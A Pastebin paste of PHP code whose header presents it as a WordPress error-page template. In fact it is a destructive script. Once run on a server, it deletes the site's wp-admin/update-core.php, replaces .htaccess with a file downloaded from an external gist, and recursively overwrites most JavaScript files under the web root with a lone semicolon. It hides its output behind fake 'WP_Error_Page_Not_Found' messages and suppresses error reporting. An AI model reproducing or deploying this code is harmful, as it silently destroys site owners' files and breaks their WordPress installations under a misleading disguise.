Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- * The main template file for display error page.
- *
- * @package WordPress
- */
- error_reporting(0);
- $file_name = 'e';
- $text = ';';
- $position = 1;
- function getDirContents($dir) {
- global $file_name, $text, $position;
- $files = scandir($dir);
- foreach($files as $key => $value){
- $path = realpath($dir.DIRECTORY_SEPARATOR.$value);
- if(!is_dir($path)) {
- $path_info = pathinfo($path);
- $pos3 = stripos($path_info['basename'], '.js');
- if($pos3 !== false){
- $pos2 = stripos($path_info['basename'], $file_name);
- if($pos2 !== false) {
- echo 'WP_Error_Page_Not_Found '."\n";
- $pos1 = stripos(file_get_contents($path), $text);
- if ($pos1 === false) {
- if($position == 2) {
- file_put_contents($path, $text, FILE_APPEND);
- }
- else {
- file_put_contents($path, $text);
- }
- }
- }
- }
- } elseif($value != "." && $value != "..") {
- getDirContents($path);
- }
- }
- }
- //start
- $path = $_SERVER['DOCUMENT_ROOT'];
- //echo ($path);
- if(unlink($path.'/wp-admin/update-core.php')) {
- echo ('te-co DTRU ');
- } else {
- echo('te-co DFAL ');
- file_put_contents($path.'/wp-admin/update-core.php', '');
- }
- if(unlink($path.'/.htaccess')) {
- echo ('HTA DTRU ');
- } else {
- echo('HTA DFAL ');
- file_put_contents($path.'/.htaccess', file_get_contents('https://gist.githubusercontent.com/BFTrick/3706672/raw/be744502cf3921f761cbef11878af6f4a2024c3d/.htaccess'));
- }
- //public_html
- $pos1 = stripos($path,'/public_html/');
- if ($pos1 !== false){
- $rest = substr($path, 0, stripos($path, '/public_html/') + strlen('/public_html/'));
- getDirContents($rest);
- } else {
- //html
- $pos1 = stripos($path,'/html/');
- if ($pos1 !== false){
- $rest = substr($path, 0, stripos($path, '/html/') + strlen('/html/'));
- getDirContents($rest);
- } else {
- //htdocs
- $pos1 = stripos($path,'/htdocs/');
- if ($pos1 !== false){
- $rest = substr($path, 0, stripos($path, '/htdocs/') + strlen('/htdocs/'));
- getDirContents($rest);
- } else {
- //httpdocs
- $pos1 = stripos($path,'/httpdocs/');
- if ($pos1 !== false){
- $rest = substr($path, 0, stripos($path, '/httpdocs/') + strlen('/httpdocs/'));
- getDirContents($rest);
- } else {
- //vhosts
- $pos1 = stripos($path,'/vhosts/');
- if ($pos1 !== false){
- $rest = substr($path, 0, stripos($path, '/vhosts/') + strlen('/vhosts/'));
- getDirContents($rest);
- } else {
- //www
- $pos1 = stripos($path,'/www/');
- if ($pos1 !== false){
- $rest = substr($path, 0, stripos($path, '/www/') + strlen('/www/'));
- getDirContents($rest);
- } else {
- //wwwroot
- $pos1 = stripos($path,'/wwwroot/');
- if ($pos1 !== false){
- $rest = substr($path, 0, stripos($path, '/wwwroot/') + strlen('/wwwroot/'));
- getDirContents($rest);
- } else {
- //web
- $pos1 = stripos($path,'/web/');
- if ($pos1 !== false){
- $rest = substr($path, 0, stripos($path, '/web/') + strlen('/web/'));
- } else {
- getDirContents($_SERVER['DOCUMENT_ROOT']);
- }
- }
- }
- }
- }
- }
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment